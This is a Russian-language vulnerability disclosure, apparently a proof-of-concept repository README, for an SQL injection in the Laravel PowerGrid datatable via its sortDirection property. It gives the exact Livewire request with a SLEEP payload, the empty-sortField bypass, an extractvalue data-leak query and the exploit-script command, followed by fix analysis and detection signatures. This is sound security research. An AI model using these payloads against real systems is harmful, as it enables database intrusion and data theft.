---

## 🧠 Краткое описание

PowerGrid — это компонент таблицы данных (datatable) для Laravel + Livewire (~2k звезд, широко используется в административных панелях Laravel). Его состояние сортировки хранится в двух **public свойствах Livewire**:```php
public string $sortField = 'id';
public string $sortDirection = 'asc';

Ни одно из свойств не имеет белого списка, правила проверки или нормализующего сеттера. `sortDirection` только присваивается или переворачивается:```php
public function reverseSort(): string    // line 37
{
    return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}

if ($when) {
    $this->rawQueries[] = [
        'method'   => 'orderByRaw',                          // <-- raw sink
        'sql'      => Sql::sortStringAsNumber($this->dataField),
        'bindings' => [],
    ];
}

return $this;

`Sql::sortStringAsNumber()` разрешается в выражение, зависящее от драйвера, создаваемое с помощью `getSortSqlByDriver()` в `src/DataSource/Support/Sql.php` (строки 60–100). Все варианты драйверов заканчиваются одним и тем же буквальным заполнителем:```php
$default = "$sortField+0 {sortDirection}";                                                          // line 76
'8.0.4'  => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}",  // MySQL, line 81
'0'      => "CAST($sortField AS INTEGER) {sortDirection}",                                          // SQLite, line 84
'0'      => "CAST(NULLIF(REGEXP_REPLACE($sortField, '\D', '', 'g'), '') AS INTEGER) {sortDirection}", // PgSQL, line 87
'0'      => "CAST(SUBSTRING(...) AS INT) {sortDirection}",                                          // SQL Server, line 90

return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
    $property = trim($matches[1]);

    return data_get($this->component, $property, '');   // line 65 — raw property, no escaping
}, $sql);

и выполнение, line 52:```php
$query->{$method}($resolvedSql, $resolvedBindings);   // $method === 'orderByRaw'

---

## 🔓 Обход — почему валидация Laravel вас не спасет

Это та часть, которая превращает «сырую интерполяцию» в реально эксплуатируемую ошибку, и именно поэтому проблема сохранилась в зрелом, широко используемом пакете.

PowerGrid обрабатывает запрос через **конвейер**. Два этапа этого конвейера затрагивают направление сортировки:

**`Sorting` конвейер** — `src/DataSource/Processors/Database/Pipelines/Sorting.php`:```php
public function handle(mixed $query, Closure $next): mixed
{
    // ...
    if (filled($this->component->sortField)) {          // line 21  <-- THE GUARD
        if ($this->component->multiSort) {
            $this->applyMultipleSort($query);
        } else {
            $this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
        }
    }

    return $next($query);
}

private function applySingleSort(..., string $sortField, string $direction): void
{
    // ...
    $query->orderBy($this->component->resolveSortField($sortField), $direction);   // line 42
}

Итак, на обычном пути — пользователь нажимает на заголовок столбца, `sortField=name`, `sortDirection=<payload>` — фреймворк блокирует инъекцию. Быстрый аудит останавливается здесь и заключает "устранено с помощью Laravel".

**Конвейер `ColumnRawQueries`** — второй этап, показанный выше — **не имеет такой защиты**. Посмотрите на его `handle()` (строки 21–27): он перебирает столбцы и для каждого столбца, содержащего `rawQueries`, применяет их *безоговорочно*. Он никогда не обращается к `sortField`. Он никогда не обращается к результату конвейера `Sorting`.

Эта асимметрия и есть ошибка:

| `sortField` | Конвейер `Sorting` | Конвейер `ColumnRawQueries` | Результат |
|---|---|---|---|
| `"name"` (заполнен) | выполняется → `orderBy()` **проверяет** → выбрасывает исключение из-за полезной нагрузки | выполняется → инъекция | ❌ заблокировано исключением |
| `""` (пустой) | `filled('')` равен `false` → **полностью пропущен** | выполняется → инъекция | ✅ **инъекция срабатывает** |

Установка **`sortField` в пустую строку** заставляет этап проверки пропустить себя, в то время как сырой этап все еще генерирует `naturalSort` `ORDER BY` с `{sortDirection}` атакующего внутри. Проверка Laravel никогда не вызывается, потому что путь кода, содержащий её, никогда не выполняется.

**Таким образом, полная атака использует два поля, а не одно:** `sortDirection` несет полезную нагрузку, а `sortField=""` — это ключ, открывающий дверь.

---

## 🎯 Точные поля

Все происходит через стандартную конечную точку обновления Livewire. Никаких специальных заголовков, никаких пользовательских маршрутов, никаких функций администратора.

**Конечная точка:** `POST /livewire/update`

**Тело (JSON):**```json
{
  "_token": "<CSRF token from the page>",
  "components": [
    {
      "snapshot": "<wire:snapshot of the PowerGrid component, taken from the rendered HTML>",
      "updates": {
        "sortField": "",
        "sortDirection": "asc, (SELECT SLEEP(3))"
      },
      "calls": []
    }
  ]
}

Полезная нагрузка находится в полноценном выражении списка `ORDER BY`, поэтому подзапрос работает без обёртки, и само предложение остаётся валидным SQL.

---

## 🔬 Как это было найдено — путь через код

Приведённый ниже порядок — это фактическая последовательность рассуждений, включая шаг, который едва не закрыл расследование как ложное срабатывание.

**1. Сначала поверхность атаки: публичные свойства Livewire — это входные данные атакующего.**
Модель самого фреймворка утверждает, что каждое `public` свойство компонента доступно для записи клиентом через `/livewire/update`. Таким образом, вопрос аудита для любого пакета Livewire — не "есть ли пользовательский ввод?", а "какие публичные свойства достигают опасного стока?". Перечислил публичные свойства PowerGrid; `$sortField` и `$sortDirection` выделились как те, что существуют специально для встраивания в SQL.

**2. Проследите за ними до каждого стока.** Выполнил grep по пакету на наличие API сырого SQL — `orderByRaw`, `whereRaw`, `selectRaw`, `havingRaw`, `DB::raw` — и искал любой, который мог бы принять эти свойства. Срабатывание было у `naturalSort` с `'method' => 'orderByRaw'` в `Macros.php`.

**3. Найдите связь между свойством и стоком.** Сырой SQL в `Sql.php` не ссылался на `$this->sortDirection`; он содержал буквальную строку `{sortDirection}`. Такая шаблонизация подразумевает наличие где-то резолвера. Поиск по шаблону фигурных скобок привёл к `ColumnRawQueries::resolvePlaceholders()` и его `data_get($this->component, $property, '')` — универсальному чтению свойств без экранирования. Источник и сток теперь связаны.

**4. Шаг, который почти всё убил: смягчение.** Первая живая попытка — установка `sortDirection` в полезную нагрузку и запуск — привела не к утечке, а к `InvalidArgumentException: Order direction must be "asc" or "desc".` Laravel'а `orderBy()` перехватывал это. Здесь напрашивался вывод *"фреймворк смягчает, не эксплуатируемо"*, и этот вывод был бы неверен.

**5. Спросите, откуда пришло исключение, а не просто что оно произошло.** Трассировка указывала на `orderBy()` конвейера `Sorting` — **другой этап** по сравнению со стоком `orderByRaw()`, найденным на шаге 2. Два этапа, две независимых записи в один `ORDER BY`, и только один из них проводит валидацию. Это переформулировало вопрос с "могу ли я обойти валидатор Laravel?" (нет — это строгое сравнение) на **"могу ли я добраться до этапа сырого SQL, не выполняя этап валидации?"**

**6. Прочитайте страж.** Этап валидации выполняется под условием `if (filled($this->component->sortField))`. `filled('')` равно `false`. Этап сырого SQL вообще не имеет стража. Обход был прямым следствием: отправить `sortField=""`, и выполняется только незащищённый этап.

**7. Подтвердите эмпирически, дважды, независимыми методами.** Одиночный положительный сигнал — это не находка: разница во времени может быть ограничителем скорости, ошибка может быть общим 500. Понадобилось и доказательство на основе ошибок (база данных буквально возвращает внедрённый подзапрос), и тайм-основанная булева оракула (отличие TRUE от FALSE на реальных данных), прежде чем считать это подтверждённым. См. [Доказательства](#-evidence).

**Обобщаемый вывод:** смягчение на уровне фреймворка защищает только тот путь кода, на котором оно находится. Когда два этапа конвейера пишут в одно и то же предложение SQL, утверждение "фреймворк это валидирует" относится только к одному из них. Всегда спрашивайте, на каком этапе на самом деле находится валидация, и может ли опасный этап выполняться самостоятельно.

---

## 🧪 Доказательства

Лаборатория: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10.3 + MariaDB, с компонентом PowerGrid `RoomTable`, у которого колонка `name` объявляет `->naturalSort(true)`, и таблицей `rooms`, содержащей колонку `secret`. Полная лаборатория в [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/).

**Основано на ошибках — внедрённый подзапрос достигает БД буквально** (HTTP 500, `SQLSTATE[HY000] 1105`):```sql
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
  (select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0

Пара TRUE/FALSE — это то, что переводит это из разряда "что-то медленно" в "я могу прочитать ваши данные": одна и та же форма запроса возвращает два четко разделенных времени в зависимости от условия по значению, которое злоумышленник не может увидеть. Это работающий оракул, и `poc/exploit_powergrid_sqli.py` проходит по нему символ за символом.

> `SLEEP(3)` дает ~9 с вместо ~3 с, потому что сортировка применяет спящее выражение к нескольким строкам — более сильный, а не более слабый сигнал.

Сырые заметки: [`evidence/EVIDENCE.txt`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/evidence/EVIDENCE.txt).

---

## ⚙️ Доказательство концепции

Без зависимостей, только стандартная библиотека Python 3.```bash
python3 poc/exploit_powergrid_sqli.py http://127.0.0.1:8001/rooms

Против пропатченной цели `6.10.4` скрипт не обнаруживает временной дельты и завершается чисто — список разрешенных сворачивает каждый пэйлоад в `asc`.

---

## ✅ Fix analysis (`v6.10.4`)

Мейнтейнеры реализовали **защиту в глубину на четырех точках вызова** — правильный подход для этого класса ошибок. Примитив:```php
// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
    $direction = strtolower(trim((string) $direction));

    return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}

**Обновление — не пытайтесь обойти это.** Если вы действительно не можете обновиться сегодня, временным решением будет санитизация на самом компоненте:```php
public function updatedSortDirection(): void
{
    $this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
        ? strtolower(trim($this->sortDirection))
        : 'asc';
}

Отсутствие столбца `naturalSort` означает, что исходный `ORDER BY` никогда не регистрируется, и основной путь недоступен. Обратите внимание, что `v6.10.4` также усилил путь обратного вызова `sortUsing` — если ваши пользовательские сортировочные обратные вызовы строят необработанный SQL из направления, вы также подвержены риску через этот путь, независимо от `naturalSort`.

### Обнаружение эксплуатации

Атака представляет собой обычный запрос Livewire; нет необычных конечных точек или методов, на которые можно было бы обратить внимание. Посмотрите на **значение** `sortDirection` — легитимный трафик всегда отправляет только `asc` или `desc`.

Всё остальное по определению является аномалией. Практические признаки:

- `POST /livewire/update`, где тело JSON содержит `"sortDirection"` со значением, не равным точно `asc`/`desc` (без учета регистра) — высокая точность, почти нулевой уровень ложных срабатываний;
- тот же запрос с `"sortField":""` (пустое) вместе с непустым `sortDirection` — точная сигнатура обхода;
- ключевые слова SQL в этом значении: `SELECT`, `SLEEP`, `BENCHMARK`, `extractvalue`, `updatexml`, `0x`;
- журналы ошибок приложения с `SQLSTATE[HY000] 1105` или `SQLSTATE[42000]`, ссылающиеся на `order by`;
- всплески POST-запросов одинаковой формы со временем ответа, распределенным бимодально (быстро/медленно) — проходит слепой оракул.

Два правила Sigma представлены в [`detection/sortdirection-sqli.yml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/sortdirection-sqli.yml) — одно по телу запроса, другое по сигнатуре ошибки базы данных для случаев, когда логирование тела недоступно. Шаблон Nuclei, который отмечает доступные компоненты PowerGrid (обязательная поверхность), находится в [`detection/nuclei-powergrid-sortdirection-sqli.yaml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/nuclei-powergrid-sortdirection-sqli.yaml); подтвердите любое попадание с помощью `poc/exploit_powergrid_sqli.py --check-only`.

---

## 📚 Ссылки

- Совет по безопасности GitHub — [GHSA-7fgc-3h6c-698r](https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r)
- NVD — [CVE-2026-65971](https://nvd.nist.gov/vuln/detail/CVE-2026-65971)
- Релиз с исправлением — [`v6.10.4`](https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4)
- Разница версий — [`v6.10.3...v6.10.4`](https://github.com/Power-Components/livewire-powergrid/compare/v6.10.3...v6.10.4)
- CWE-89 — [Некорректная нейтрализация специальных элементов, используемых в SQL-команде](https://cwe.mitre.org/data/definitions/89.html)
- Livewire — [Свойства доступны для записи клиентом](https://livewire.laravel.com/docs/properties#security-concerns)

---

## ⚖️ Юридическая информация

Опубликовано после скоординированного раскрытия, выпущенного патча и публичного уведомления от поставщика. PoC нацелен на локальную лабораторию в [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/) и предназначен для защитников, проверяющих свою собственную подверженность риску, и для исследователей, изучающих данный класс ошибок. Запуск его против систем, которые вы не уполномочены тестировать, незаконен. Вы несете ответственность за то, что делаете с ним.

---

**Caio Fabrício** — [@BiiTts](https://github.com/BiiTts) · [LinkedIn](https://www.linkedin.com/in/caio-fabrício-b978131b5/)